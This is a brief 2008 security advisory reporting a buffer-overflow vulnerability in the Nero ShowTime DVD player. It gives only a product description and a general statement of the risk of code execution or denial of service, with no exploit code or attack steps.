Advisory ID: ZSL-2008-4902
Type: Local/Remote
Impact: System Access, DoS
Risk: (4/5)
Release Date: 24.11.2008
Nero ShowTime provides you with a high-performance software DVD player that takes you to a new dimension in DVD’s. Its cinema-like sound and excellent image quality for all digital pictures make an adventure of every film! What is more, Nero ShowTime supports all DVD-Video formats and can play them from a disc and from the hard drive.
Nero ShowTime is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. Successfully exploiting these issues may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.
